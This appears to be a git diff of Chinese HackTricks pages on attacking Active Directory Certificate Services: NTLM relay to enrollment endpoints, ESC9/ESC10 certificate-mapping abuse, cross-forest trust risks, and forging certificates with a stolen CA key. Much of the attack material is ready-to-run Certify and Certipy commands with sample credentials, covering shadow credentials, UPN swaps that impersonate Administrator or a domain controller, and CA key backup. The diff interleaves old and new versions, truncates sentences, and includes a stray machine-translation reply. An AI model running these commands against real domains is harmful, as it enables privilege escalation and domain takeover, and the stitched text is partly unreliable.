* **证书登记服务**(CES)、**证书登记策略**(CEP)Web 服务和 **网络设备登记服务**(NDES)默认通过其 Authorization HTTP 头支持协商认证。协商认证 **支持** Kerberos 和 **NTLM**;因此,攻击者可以在中继攻击期间 **协商使用 NTLM** 认证。这些 web 服务至少默认启用了 HTTPS,但不幸的是 HTTPS 本身 **无法防御 NTLM 中继攻击**。只有将 HTTPS 与通道绑定结合使用时,才能保护 HTTPS 服务免受 NTLM 中继攻击。不幸的是,AD CS 没有在 IIS 上启用扩展的身份验证保护,这是启用通道绑定所必需的。
|
* **证书登录服务**(CES)、**证书登录策略**(CEP)Web服务和**网络设备登录服务**(NDES)默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些Web服务默认启用HTTPS,但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务,防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是,AD CS没有在IIS上激活扩展保护以进行身份验证,这是通道绑定所需的。
|
||||||
|
|
||||||
NTLM 中继攻击的常见 **问题** 是 **NTLM 会话通常很短**,并且攻击者 **无法** 与 **强制 NTLM 签名** 的服务进行交互。
|
NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
|
||||||
|
|
||||||
然而,滥用 NTLM 中继攻击来获取用户证书解决了这些限制,因为会话将持续与证书有效期一样长,且证书可以用来使用 **强制 NTLM
|
然而,通过利用NTLM中继攻击来获取用户的证书,可以克服这一限制,因为证书的有效期决定了会话的持续时间,并且证书可以与**要求NTLM签名**的服务一起使用。有关使用窃取的证书的说明,请参阅:
|
||||||
|
|
||||||
|
{% content-ref url="account-persistence.md" %}
|
||||||
|
[account-persistence.md](account-persistence.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
NTLM中继攻击的另一个限制是**攻击者控制的计算机必须由受害者帐户进行身份验证**。攻击者可以等待或尝试**强制**进行此身份验证:
|
||||||
|
|
||||||
|
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||||
|
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### **滥用**
|
||||||
|
|
||||||
|
[**Certify**](https://github.com/GhostPack/Certify)的`cas`列举了**已启用的HTTP AD CS端点**:
|
||||||
```
|
```
|
||||||
Certify.exe cas
|
Certify.exe cas
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
企业CA还会在其AD对象的`msPKI-Enrollment-Servers`属性中**存储CES端点**。**Certutil.exe**和**PSPKI**可以解析并列出这些端点:
|
`msPKI-Enrollment-Servers` 属性被企业证书颁发机构(CAs)用来存储证书颁发服务(CES)端点。可以通过工具 **Certutil.exe** 解析并列出这些端点:
|
||||||
```
|
```
|
||||||
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
|
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||||
```
|
```
|
||||||
Since there is no English text provided outside of the markdown and HTML syntax, there is nothing to translate. If you have specific English text that you would like translated into Chinese, please provide it, and I will be happy to assist.
|
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
```powershell
|
```powershell
|
||||||
Import-Module PSPKI
|
Import-Module PSPKI
|
||||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### 利用 Certify 进行滥用
|
#### 滥用Certify
|
||||||
```bash
|
```bash
|
||||||
## In the victim machine
|
## In the victim machine
|
||||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||||
|
@ -381,11 +395,11 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||||
```
|
```
|
||||||
#### 利用 [Certipy](https://github.com/ly4k/Certipy)
|
#### 利用 [Certipy](https://github.com/ly4k/Certipy)
|
||||||
|
|
||||||
默认情况下,Certipy 会根据 `Machine` 或 `User` 模板请求证书,这取决于被转发的账户名是否以 `$` 结尾。可以使用 `-template` 参数指定另一个模板。
|
Certipy默认根据帐户名称是否以`$`结尾来基于`Machine`或`User`模板发出证书请求。可以通过使用`-template`参数来指定替代模板。
|
||||||
|
|
||||||
然后我们可以使用像 [PetitPotam](https://github.com/ly4k/PetitPotam) 这样的技术来强制认证。对于域控制器,我们必须指定 `-template DomainController`。
|
然后可以使用类似 [PetitPotam](https://github.com/ly4k/PetitPotam) 的技术来强制进行身份验证。在处理域控制器时,需要指定`-template DomainController`。
|
||||||
```
|
```bash
|
||||||
$ certipy relay -ca ca.corp.local
|
certipy relay -ca ca.corp.local
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
|
||||||
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
|
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
|
||||||
|
@ -400,154 +414,122 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
|
||||||
### 解释
|
### 解释
|
||||||
|
|
||||||
ESC9 指的是新的 **`msPKI-Enrollment-Flag`** 值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)。如果证书模板上设置了这个标志,则**新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**将**不会**被嵌入。当 `StrongCertificateBindingEnforcement` 设置为 `1`(默认值)时,ESC9 才有用,因为较弱的证书映射配置对于 Kerberos 或 Schannel 可以被滥用为 ESC10 —— 如果没有 ESC9 —— 因为要求将会是相同的。
|
新值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 用于 **`msPKI-Enrollment-Flag`** 的 ESC9,阻止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1` 时(默认设置),与设置为 `2` 相对比,此标志变得重要。在较弱的证书映射用于 Kerberos 或 Schannel 的情况下(如 ESC10 中),此标志变得更加重要,因为缺少 ESC9 不会改变要求。
|
||||||
|
|
||||||
* `StrongCertificateBindingEnforcement` 未设置为 `2`(默认值:`1`)或 `CertificateMappingMethods` 包含 `UPN` 标志
|
设置此标志变得重要的条件包括:
|
||||||
* 证书包含 `msPKI-Enrollment-Flag` 值中的 `CT_FLAG_NO_SECURITY_EXTENSION` 标志
|
- `StrongCertificateBindingEnforcement` 未调整为 `2`(默认为 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
|
||||||
* 证书指定任何客户端认证 EKU
|
- 证书在 `msPKI-Enrollment-Flag` 设置中标记了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||||
* 对任何账户 A 有 `GenericWrite` 权限以妥协任何账户 B
|
- 证书指定了任何客户端身份验证 EKU。
|
||||||
|
- 可以通过任何帐户获得 `GenericWrite` 权限以妥协另一个帐户。
|
||||||
|
|
||||||
### 滥用
|
### 滥用场景
|
||||||
|
|
||||||
在这种情况下,`John@corp.local` 对 `Jane@corp.local` 有 `GenericWrite` 权限,我们希望妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册证书模板 `ESC9`,该模板在 `msPKI-Enrollment-Flag` 值中指定了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
假设 `John@corp.local` 拥有对 `Jane@corp.local` 的 `GenericWrite` 权限,目标是妥协 `Administrator@corp.local`。`Jane@corp.local` 被允许注册的 `ESC9` 证书模板在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
|
||||||
|
|
||||||
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials(利用我们的 `GenericWrite`)。
|
最初,通过使用 `John` 的 `GenericWrite` 获得 `Jane` 的哈希值:
|
||||||
|
```bash
|
||||||
|
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||||
|
```
|
||||||
|
随后,`Jane` 的 `userPrincipalName` 被修改为 `Administrator`,有意省略了 `@corp.local` 域部分:
|
||||||
|
```bash
|
||||||
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||||
|
```
|
||||||
|
这种修改不违反约束条件,因为`Administrator@corp.local`仍然作为`Administrator`的`userPrincipalName`保持不变。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
|
随后,作为`Jane`,请求标记为易受攻击的`ESC9`证书模板:
|
||||||
|
```bash
|
||||||
|
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||||
|
```
|
||||||
|
据指出,证书的 `userPrincipalName` 反映了 `Administrator`,没有任何“object SID”。
|
||||||
|
|
||||||
接下来,我们将 `Jane` 的 `userPrincipalName` 更改为 `Administrator`。注意我们省略了 `@corp.local` 部分。
|
然后将 `Jane` 的 `userPrincipalName` 恢复为她的原始名称 `Jane@corp.local`:
|
||||||
|
```bash
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||||
|
```
|
||||||
这不是一个约束违规,因为 `Administrator` 用户的 `userPrincipalName` 是 `Administrator@corp.local` 而不是 `Administrator`。
|
尝试使用颁发的证书进行身份验证现在会产生`Administrator@corp.local`的NT哈希。由于证书缺乏域规范,命令必须包括`-domain <domain>`:
|
||||||
|
```bash
|
||||||
现在,我们请求易受攻击的证书模板 `ESC9`。我们必须作为 `Jane` 请求证书。
|
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||||
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure>
|
## 证书映射弱点 - ESC10
|
||||||
|
|
||||||
注意证书中的 `userPrincipalName` 是 `Administrator`,并且发行的证书不包含“对象 SID”。
|
|
||||||
|
|
||||||
然后,我们将 `Jane` 的 `userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` `Jane@corp.local`。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
现在,如果我们尝试使用证书进行认证,我们将收到 `Administrator@corp.local` 用户的 NT 哈希值。由于证书中没有指定域,您需要在命令行中添加 `-domain <domain>`。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
## 弱证书映射 - ESC10
|
|
||||||
|
|
||||||
### 解释
|
### 解释
|
||||||
|
|
||||||
ESC10 指的是域控制器上的两个注册表键值。
|
域控制器上的两个注册表键值被 ESC10 提及:
|
||||||
|
|
||||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`。默认值 `0x18` (`0x8 | 0x10`),之前为 `0x1F`。
|
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 下 `CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`),先前设置为 `0x1F`。
|
||||||
|
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 下 `StrongCertificateBindingEnforcement` 的默认设置为 `1`,先前为 `0`。
|
||||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`。默认值 `1`,之前为 `0`。
|
|
||||||
|
|
||||||
**情况 1**
|
**情况 1**
|
||||||
|
|
||||||
`StrongCertificateBindingEnforcement` 设置为 `0`
|
当 `StrongCertificateBindingEnforcement` 配置为 `0` 时。
|
||||||
|
|
||||||
**情况 2**
|
**情况 2**
|
||||||
|
|
||||||
`CertificateMappingMethods` 包含 `UPN` 位 (`0x4`)
|
如果 `CertificateMappingMethods` 包括 `UPN` 位 (`0x4`)。
|
||||||
|
|
||||||
### 滥用情况 1
|
### 滥用案例 1
|
||||||
|
|
||||||
* `StrongCertificateBindingEnforcement` 设置为 `0`
|
当 `StrongCertificateBindingEnforcement` 配置为 `0` 时,具有 `GenericWrite` 权限的帐户 A 可被利用来危害任何帐户 B。
|
||||||
* 对任何账户 A 有 `GenericWrite` 权限以妥协任何账户 B
|
|
||||||
|
|
||||||
在这种情况下,`John@corp.local` 对 `Jane@corp.local` 有 `GenericWrite` 权限,我们希望妥协 `Administrator@corp.local`。滥用步骤几乎与 ESC9 相同,除了可以使用任何证书模板。
|
例如,拥有对 `Jane@corp.local` 的 `GenericWrite` 权限,攻击者旨在危害 `Administrator@corp.local`。该过程与 ESC9 相似,允许利用任何证书模板。
|
||||||
|
|
||||||
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials(利用我们的 `GenericWrite`)。
|
首先,使用 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`。
|
||||||
|
```bash
|
||||||
|
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||||
|
```
|
||||||
|
随后,`Jane` 的 `userPrincipalName` 被更改为 `Administrator`,故意省略了 `@corp.local` 部分,以避免违反约束。
|
||||||
|
```bash
|
||||||
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||||
|
```
|
||||||
|
随后,以默认的“User”模板,作为“Jane”请求启用客户端认证的证书。
|
||||||
|
```bash
|
||||||
|
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||||
|
```
|
||||||
|
`Jane`的`userPrincipalName`然后被恢复为其原始值`Jane@corp.local`。
|
||||||
|
```bash
|
||||||
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||||
|
```
|
||||||
|
使用获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希,由于证书中缺少域详细信息,因此需要在命令中指定域。
|
||||||
|
```bash
|
||||||
|
certipy auth -pfx administrator.pfx -domain corp.local
|
||||||
|
```
|
||||||
|
### 滥用案例 2
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
|
使用包含 `UPN` 位标志 (`0x4`) 的 `CertificateMappingMethods`,具有 `GenericWrite` 权限的帐户 A 可以妥协任何缺少 `userPrincipalName` 属性的帐户 B,包括机器帐户和内置域管理员 `Administrator`。
|
||||||
|
|
||||||
接下来,我们将 `Jane` 的 `userPrincipalName` 更改为 `Administrator`。注意我们省略了 `@corp.local` 部分。
|
在这里,目标是通过获取 `Jane` 的哈希值,利用 `GenericWrite` 来妥协 `DC$@corp.local`。
|
||||||
|
```bash
|
||||||
|
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||||
|
```
|
||||||
|
`Jane`的`userPrincipalName`然后设置为`DC$@corp.local`。
|
||||||
|
```bash
|
||||||
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||||
|
```
|
||||||
|
一个用默认的`User`模板请求以`Jane`身份进行客户端认证的证书。
|
||||||
|
```bash
|
||||||
|
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||||
|
```
|
||||||
|
`Jane`的`userPrincipalName`在此过程后被恢复为原始状态。
|
||||||
|
```bash
|
||||||
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||||
|
```
|
||||||
|
使用Schannel进行身份验证时,Certipy的`-ldap-shell`选项被使用,指示身份验证成功为`u:CORP\DC$`。
|
||||||
|
```bash
|
||||||
|
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||||
|
```
|
||||||
|
通过LDAP shell,诸如 `set_rbcd` 这样的命令可以启用基于资源的受限委派(RBCD)攻击,可能会危及域控制器。
|
||||||
|
```bash
|
||||||
|
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||||
|
```
|
||||||
|
## 通过证书解释被动语态来威胁森林
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure>
|
### 通过受损CA破坏森林信任
|
||||||
|
|
||||||
这不是一个约束违规,因为 `Administrator` 用户的 `userPrincipalName` 是 `Administrator@corp.local` 而不是 `Administrator`。
|
**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA**证书被**添加到每个账户森林的`NTAuthCertificates`和AIA容器**中。澄清一下,这种安排赋予了资源森林的**CA对其管理的所有其他森林完全控制**。如果此CA被攻击者**破坏**,则这两个森林中所有用户的证书都可能被他们**伪造**,从而打破了森林的安全边界。
|
||||||
|
|
||||||
现在,我们请求任何允许客户端认证的证书,例如默认的 `User` 模板。我们必须作为 `Jane` 请求证书。
|
### 授予外部主体的注册特权
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
在多森林环境中,需要谨慎处理**发布证书模板**的企业CA,这些模板允许**经过身份验证的用户或外部主体**(属于企业CA所属森林之外的用户/组)**注册和编辑权限**。\
|
||||||
|
通过信任进行身份验证时,AD会将**经过身份验证的用户SID**添加到用户的令牌中。因此,如果一个域拥有一个允许**经过身份验证的用户注册权限**的企业CA模板,那么来自不同森林的用户可能会**注册该模板**。同样,如果**模板明确授予外部主体注册权限**,则会创建一个**跨森林访问控制关系**,使一个森林的主体能够**在另一个森林中注册模板**。
|
||||||
|
|
||||||
注意证书中的 `userPrincipalName` 是 `Administrator`。
|
这两种情况都会导致从一个森林到另一个森林的**攻击面增加**。证书模板的设置可能被攻击者利用,以在外部域中获得额外特权。
|
||||||
|
|
||||||
然后,我们将 `Jane` 的 `userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` `Jane@corp.local`。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
现在,如果我们尝试使用证书进行认证,我们将收到 `Administrator@corp.local` 用户的 NT 哈希值。由于证书中没有指定域,您需要在命令行中添加 `-domain <domain>`。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
### 滥用情况 2
|
|
||||||
|
|
||||||
* `CertificateMappingMethods` 包含 `UPN` 位标志 (`0x4`)
|
|
||||||
* 对任何账户 A 有 `GenericWrite` 权限以妥协没有 `userPrincipalName` 属性的任何账户 B(机器账户和内置域管理员 `Administrator`)
|
|
||||||
|
|
||||||
在这种情况下,`John@corp.local` 对 `Jane@corp.local` 有 `GenericWrite` 权限,我们希望妥协域控制器 `DC$@corp.local`。
|
|
||||||
|
|
||||||
首先,我们获取 `Jane` 的哈希值,例如使用 Shadow Credentials(利用我们的 `GenericWrite`)。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
接下来,我们将 `Jane` 的 `userPrincipalName` 更改为 `DC$@corp.local`。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
这不是一个约束违规,因为 `DC$` 计算机账户没有 `userPrincipalName`。
|
|
||||||
|
|
||||||
现在,我们请求任何允许客户端认证的证书,例如默认的 `User` 模板。我们必须作为 `Jane` 请求证书。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (20) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
然后,我们将 `Jane` 的 `userPrincipalName` 更改回其他内容,比如她原来的 `userPrincipalName` (`Jane@corp.local`)。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
现在,由于这个注册表键适用于 Schannel,我们必须使用证书通过 Schannel 进行认证。这就是 Certipy 新的 `-ldap-shell` 选项的用武之地。
|
|
||||||
|
|
||||||
如果我们尝试使用证书和 `-ldap-shell` 进行认证,我们会注意到我们被认证为 `u:CORP\DC$`。这是服务器发送的字符串。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
LDAP shell 可用的命令之一是 `set_rbcd`,它将在目标上设置基于资源的受限委派(RBCD)。因此,我们可以执行 RBCD 攻击来妥协域控制器。
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
或者,我们也可以妥协任何没有设置 `userPrincipalName` 或 `userPrincipalName` 与该账户的 `sAMAccountName` 不匹配的用户账户。根据我自己的测试,默认域管理员 `Administrator@corp.local` 默认没有设置 `userPrincipalName`,而且这个账户默认在 LDAP 中比域控制器拥有更多权限。
|
|
||||||
|
|
||||||
## 使用证书妥协森林
|
|
||||||
|
|
||||||
### CA 信任破坏森林信任
|
|
||||||
|
|
||||||
**跨森林注册**的设置相对简单。管理员将资源森林中的 **根 CA 证书** 发布 **到账户森林**,并将资源森林中的 **企业 CA** 证书添加到 **`NTAuthCertificates`** 和 AIA 容器 **在每个账户森林中**。明确地说,这意味着资源森林中的 **CA** 对其管理 PKI 的所有 **其他森林** 拥有 **完全控制权**。如果攻击者 **妥协了这个 CA**,他们可以 **伪造资源和账户森林中所有用户的证书**,破坏森林安全边界。
|
|
||||||
|
|
||||||
### 具有注册权限的外部主体
|
|
||||||
|
|
||||||
在多森林环境中,组织需要注意的另一件事是企业 CA **发布证书模板**,授予 **已认证用户或外部主体**(属于企业 CA 所在森林之外的用户/组)**注册和编辑权限**。\
|
|
||||||
当账户 **跨信任认证** 时,AD 将 **已认证用户 SID** 添加到认证用户的令牌中。因此,如果一个域有一个企业 CA,其模板 **授予已认证用户注册权限**,不同森林中的用户可能会 **注册该模板**。类似地,如果模板明确授予 **外部主体注册权限**,那么就会创建 **跨森林访问控制关系**,允许一个森林中的主体 **在另一个森林中注册模板**。
|
|
||||||
|
|
||||||
最终,这两种情况都会 **增加** 从一个森林到另一个森林的 **攻击面**。根据证书模板的设置,攻击者可以滥用这一点,在外部域中获得额外的权限。
|
|
||||||
|
|
||||||
## 参考资料
|
|
||||||
|
|
||||||
* 本页的所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习 AWS 黑客攻击,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的 **公司广告** 或 **下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,88 +2,68 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 使用被盗 CA 证书伪造证书 - DPERSIST1
|
**这是在 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) 中分享的持久性技术摘要**。查看以获取更多详细信息。
|
||||||
|
|
||||||
如何判断一个证书是 CA 证书?
|
## 使用窃取的 CA 证书伪造证书 - DPERSIST1
|
||||||
|
|
||||||
* CA 证书存在于 **CA 服务器本身**,其 **私钥受机器 DPAPI 保护**(除非操作系统使用 TPM/HSM/其他硬件进行保护)。
|
如何判断证书是否为 CA 证书?
|
||||||
* 证书的 **颁发者** 和 **主题** 都设置为 **CA 的独特名称**。
|
|
||||||
* CA 证书(仅限 CA 证书)**具有“CA 版本”扩展**。
|
|
||||||
* 没有 EKUs
|
|
||||||
|
|
||||||
在 CA 服务器上使用 `certsrv.msc` 是支持的内置 GUI 方式来 **提取此证书私钥**。\
|
如果满足以下几个条件,则可以确定证书是 CA 证书:
|
||||||
然而,这个证书与系统中存储的其他证书**没有区别**,所以例如查看 [**THEFT2 技术**](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 来了解如何 **提取** 它们。
|
|
||||||
|
|
||||||
您也可以使用 [**certipy**](https://github.com/ly4k/Certipy) 获取证书和私钥:
|
- 证书存储在 CA 服务器上,其私钥由机器的 DPAPI 或硬件(如 TPM/HSM,如果操作系统支持)安全保护。
|
||||||
|
- 证书的颁发者和主题字段与 CA 的专有名称匹配。
|
||||||
|
- CA 证书中独占存在“CA 版本”扩展。
|
||||||
|
- 证书缺少扩展密钥用途(EKU)字段。
|
||||||
|
|
||||||
|
要提取此证书的私钥,CA 服务器上的 `certsrv.msc` 工具是通过内置 GUI 支持的方法。然而,此证书与系统中存储的其他证书无异;因此,可以应用[THEFT2 技术](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)等方法进行提取。
|
||||||
|
|
||||||
|
还可以使用 Certipy 获取证书和私钥,命令如下:
|
||||||
```bash
|
```bash
|
||||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||||
```
|
```
|
||||||
一旦你拥有了带有私钥的 **CA cert** `.pfx` 格式,你可以使用 [**ForgeCert**](https://github.com/GhostPack/ForgeCert) 来创建有效的证书:
|
